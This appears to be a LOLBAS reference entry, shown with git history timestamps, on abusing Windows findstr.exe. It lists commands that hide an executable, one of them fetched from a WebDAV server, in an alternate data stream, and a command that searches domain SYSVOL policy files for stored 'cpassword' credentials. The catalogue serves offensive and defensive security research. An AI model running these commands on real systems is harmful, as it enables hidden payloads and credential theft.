LOLBAS/OSBinaries/Findstr.md

34 lines
683 B
Markdown
Raw Normal View History

2018-04-19 00:06:48 +00:00
## Findstr.exe
2018-04-20 13:31:50 +00:00
* Functions: Add ADS, Search
2018-04-19 00:06:48 +00:00
```
findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
2018-04-20 13:31:50 +00:00
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
2018-04-19 00:06:48 +00:00
```
Acknowledgements:
* Oddvar Moe - @oddvarmoe
Code sample:
*
Resources:
* https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Full path:
```
c:\windows\system32\findstr.exe
c:\windows\sysWOW64\findstr.exe
```
Notes:
Some specific details about the binary file.